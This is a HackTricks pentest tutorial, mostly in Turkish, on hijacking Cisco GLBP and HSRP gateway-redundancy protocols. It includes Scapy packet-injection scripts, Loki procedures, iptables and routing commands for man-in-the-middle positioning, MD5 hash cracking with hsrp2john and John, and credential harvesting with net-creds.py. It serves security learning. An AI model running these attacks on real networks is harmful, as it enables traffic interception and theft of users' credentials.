GLBP & HSRP Saldırıları

Tip

AWS Hacking’i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE) Azure Hacking’i öğrenin ve pratik yapın: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks'i Destekleyin

FHRP Ele Geçirme Genel Bakış

FHRP Hakkında Bilgiler

FHRP, birden çok router’ı tek bir sanal birimde birleştirerek ağ dayanıklılığını sağlamak, yük dağılımını ve hata toleransını artırmak için tasarlanmıştır. Cisco Systems bu pakette öne çıkan protokoller olarak GLBP ve HSRP’yi tanıtmıştır.

GLBP Protokolü Hakkında Bilgiler

Cisco tarafından geliştirilen GLBP, TCP/IP yığını üzerinde çalışır ve iletişim için UDP port 3222’yi kullanır. Bir GLBP grubundaki router’lar 3 saniyelik aralıklarla “hello” paketleri değiş tokuş eder. Bir router bu paketleri 10 saniye boyunca göndermezse çevrimdışı kabul edilir. Ancak bu zamanlayıcılar sabit değildir ve değiştirilebilir.

IPv6 için GLBP, UDP/3222 üzerinden multicast FF02::66 kullanır ve sanal MAC formatı 0007.b4xx.xxyy haline gelir (AVF ID son byte’ta yer alır). Zamanlama ve saldırı yüzeyi IPv4 ile aynı kaldığından, ele geçirme teknikleri çift‑yığın (dual‑stack) ağlarda da çalışır.

GLBP Operasyonları ve Yük Dağılımı

GLBP, tek bir sanal IP ile birlikte birden çok sanal MAC adresi kullanarak router’lar arasında yük dağılımını mümkün kılar. Bir GLBP grubunda her router paket iletimine katılır. HSRP/VRRP’den farklı olarak, GLBP birkaç mekanizma ile gerçek yük dengeleme sunar:

  • Host-Dependent Load Balancing: Bir host için atanan AVF MAC adresinin tutarlı kalmasını sağlar; stabil NAT yapılandırmaları için önemlidir.
  • Round-Robin Load Balancing: Varsayılan yaklaşımdır; istek yapan hostlar arasında AVF MAC adreslerini sırayla atar.
  • Weighted Round-Robin Load Balancing: Önden tanımlanmış “Weight” metriklerine göre yükü dağıtır.

GLBP’deki Önemli Bileşenler ve Terimler

  • AVG (Active Virtual Gateway): Peer router’lara MAC adresleri tahsis etmekten sorumlu ana router.
  • AVF (Active Virtual Forwarder): Ağ trafiğini yönetmekle görevlendirilmiş router.
  • GLBP Priority: AVG’yi belirleyen metrik; varsayılan 100 olup 1 ile 255 arasında değişir.
  • GLBP Weight: Bir router’daki mevcut yükü yansıtır; manuel olarak veya Object Tracking ile ayarlanabilir.
  • GLBP Virtual IP Address: Ağa bağlı tüm cihazlar için varsayılan gateway olarak hizmet eder.

Etkileşimler için GLBP, ayrılmış multicast adresi 224.0.0.102 ve UDP port 3222’yi kullanır. Router’lar 3 saniyelik aralıklarla “hello” paketleri yollar ve 10 saniyede bir paket kaçırılırsa çalışmıyor kabul edilir.

GLBP Saldırı Mekanizması

Bir saldırgan, en yüksek priority değeri (255) ile bir GLBP paketi göndererek birincil router (AVG) olabilir. Bu durum DoS veya MITM saldırılarına yol açabilir; trafik yakalama veya yönlendirme mümkün hale gelir.

Pratik GLBP ele geçirme Scapy ile (kısa PoC)

from scapy.all import *

vip = "10.10.100.254"          # learned from sniffing
pkt = IP(dst="224.0.0.102")/UDP(dport=3222,sport=3222)/Raw(
b"\x01\x00\xff\x64"      # Version=1, Opcode=Hello, Priority=255, Weight=100
)
send(pkt, iface="eth0", loop=1, inter=1)

Payload bytes’larını GLBP başlığını (version/opcode/priority/weight/VRID) taklit edecek şekilde oluşturun. Frame’i döngüye sokmak, kimlik doğrulama yoksa AVG seçiminde kazanmanızı sağlar.

Executing a GLBP Attack with Loki

Loki priority ve weight 255 olarak ayarlanmış bir paket enjekte ederek bir GLBP attack gerçekleştirebilir. Saldırı öncesi adımlar, virtual IP address, authentication presence ve router priority values gibi bilgileri Wireshark gibi araçlarla toplamayı içerir.

Attack Steps:

  1. Promiscuous mode’a geçin ve IP forwarding’i etkinleştirin.
  2. Hedef router’ı belirleyin ve IP’sini alın.
  3. Bir Gratuitous ARP oluşturun.
  4. AVG’yi taklit ederek kötü amaçlı bir GLBP paketi enjekte edin.
  5. Saldırganın ağ arayüzüne, GLBP virtual IP’sinin aynısını yansıtan ikincil bir IP adresi atayın.
  6. Tüm trafik görünürlüğü için SNAT uygulayın.
  7. İnternet erişiminin orijinal AVG router üzerinden devam etmesini sağlamak için routing’i ayarlayın.

Bu adımları takip ederek saldırgan kendini “man in the middle” konumuna getirir; şifrelenmemiş veya hassas veriler de dahil olmak üzere ağ trafiğini yakalayıp analiz edebilir.

For demonstration, here are the required command snippets:

# Enable promiscuous mode and IP forwarding
sudo ip link set eth0 promisc on
sudo sysctl -w net.ipv4.ip_forward=1

# Configure secondary IP and SNAT
sudo ifconfig eth0:1 10.10.100.254 netmask 255.255.255.0
sudo iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE

# Adjust routing
sudo route del default
sudo route add -net 0.0.0.0 netmask 0.0.0.0 gw 10.10.100.100

Monitoring and intercepting traffic can be done using net-creds.py or similar tools to capture and analyze data flowing through the compromised network.

HSRP Hijacking’in Pasif Açıklaması ve Komut Detayları

HSRP (Hot Standby Router/Redundancy Protocol) Genel Bakış

HSRP, ağ geçidi yedekliliği için tasarlanmış Cisco’ya ait bir protokoldür. Birden fazla fiziksel yönlendiricinin paylaşılan bir IP adresine sahip tek bir mantıksal birim olarak yapılandırılmasına izin verir. Bu mantıksal birim, trafiği yönlendirmekten sorumlu bir birincil yönlendirici tarafından yönetilir. Load balancing için priority ve weight gibi metrikleri kullanan GLBP’nin aksine, HSRP trafik yönetimi için tek bir aktif yönlendiriciye dayanır.

HSRPv1 uses multicast 224.0.0.2 and virtual MAC 0000.0c07.acXX; HSRPv2 and HSRPv2 for IPv6 use 224.0.0.102 / FF02::66 and virtual MAC 0000.0c9f.fXXX. UDP destination port is 1985 for IPv4 and 2029 for IPv6.

HSRP’deki Roller ve Terminoloji

  • HSRP Active Router: Ağ geçidi olarak hareket eden ve trafik akışını yöneten cihaz.
  • HSRP Standby Router: Aktif yönlendirici başarısız olursa devralmaya hazır yedek yönlendirici.
  • HSRP Group: Tek bir dayanıklı sanal yönlendirici oluşturmak için işbirliği yapan yönlendiriciler kümesi.
  • HSRP MAC Address: HSRP yapılandırmasında mantıksal yönlendiriciye atanan sanal MAC adresi.
  • HSRP Virtual IP Address: Bağlı cihazlar için varsayılan ağ geçidi olarak işlev gören HSRP grubunun sanal IP adresi.

HSRP Sürümleri

HSRP iki sürümde gelir: HSRPv1 ve HSRPv2; bunlar esasen grup kapasitesi, multicast IP kullanımı ve sanal MAC adresi yapısı bakımından farklılık gösterir. Protokol, servis bilgi alışverişi için belirli multicast IP adreslerini kullanır; Hello paketleri her 3 saniyede bir gönderilir. Eğer 10 saniyelik bir süre içinde paket alınmazsa bir yönlendirici inaktif olarak varsayılır.

HSRP Saldırı Mekanizması

HSRP saldırıları, maksimum öncelik değeri enjekte ederek Active Router rolünü zorla ele geçirmeyi içerir. Bu, bir Man-In-The-Middle (MITM) saldırısına yol açabilir. Saldırı öncesi gerekli adımlar arasında HSRP yapılandırması hakkında veri toplamak vardır; bu, trafik analizi için Wireshark kullanılarak yapılabilir.

Hızlı HSRP takeover with Scapy

from scapy.all import *

vip = "10.10.100.1"
pkt = IP(dst="224.0.0.102")/UDP(sport=1985,dport=1985)/Raw(
b"\x00\x02\xff\x03\x00\x00\x00\x01"  # Hello, priority 255, group 1
)
send(pkt, iface="eth0", inter=1, loop=1)

If authentication is not configured, continuously sending hellos with higher priority forces peers into Speak/Listen states and lets you become Active, redirecting traffic through your host.

HSRP authentication corner cases

  • Legacy plain-text kimlik doğrulaması kolayca taklit edilebilir.
  • MD5 authentication yalnızca HSRP payload’unu kapsar; hazırlanmış paketler yine de rate-limit/DoS ile kontrol düzlemlerine zarar verebilir. NX-OS sürümleri daha önce kimlik doğrulamalı gruplara karşı DoS yapılmasına izin veriyordu (bkz. Cisco advisory CSCup11309).
  • Birçok ISP / VPS paylaşılan VLAN’da, HSRPv1 multicast’leri tenantlar tarafından görülebilir; kimlik doğrulama yoksa katılabilir ve trafiği preempt ederek ele geçirebilirsiniz.

HSRP Kimlik Doğrulamasını Atlamak için Adımlar

  1. HSRP içeren ağ trafiğini .pcap dosyası olarak kaydedin.
tcpdump -w hsrp_traffic.pcap
  1. .pcap dosyasından MD5 hash’lerini hsrp2john.py ile çıkarın.
python2 hsrp2john.py hsrp_traffic.pcap > hsrp_hashes
  1. MD5 hash’lerini John the Ripper ile kırın.
john --wordlist=mywordlist.txt hsrp_hashes

Loki ile HSRP Enjeksiyonunu Gerçekleştirme

  1. HSRP advert’larını tespit etmek için Loki’yi başlatın.
  2. Ağ arayüzünü promiscuous moda alın ve IP forwarding’i etkinleştirin.
sudo ip link set eth0 promisc on
sudo sysctl -w net.ipv4.ip_forward=1
  1. Loki’yi belirli yönlendiriciyi hedeflemek, kırılmış HSRP parolasını girmek ve Active Router rolünü taklit etmek için kullanın.
  2. Active Router rolünü kazandıktan sonra meşru trafiği yakalamak için ağ arayüzünüzü ve iptables’ı yapılandırın.
sudo ifconfig eth0:1 10.10.100.254 netmask 255.255.255.0
sudo iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE
  1. Yönlendirme tablosunu, trafiği eski Active Router üzerinden yönlendirecek şekilde değiştirin.
sudo route del default
sudo route add -net 0.0.0.0 netmask 0.0.0.0 gw 10.10.100.100
  1. Yakalanan trafikten kimlik bilgilerini almak için net-creds.py veya benzeri bir aracı kullanın.
sudo python2 net-creds.py -i eth0

Bu adımları gerçekleştirmek, saldırganı trafiği yakalama ve manipüle etme konumuna getirir; bu, GLBP hijacking prosedürüne benzer. Bu durum HSRP gibi yedeklilik protokollerindeki zafiyeti ve güçlü güvenlik önlemlerine duyulan ihtiyacı ortaya koyar.

References

Tip

AWS Hacking’i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE) Azure Hacking’i öğrenin ve pratik yapın: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks'i Destekleyin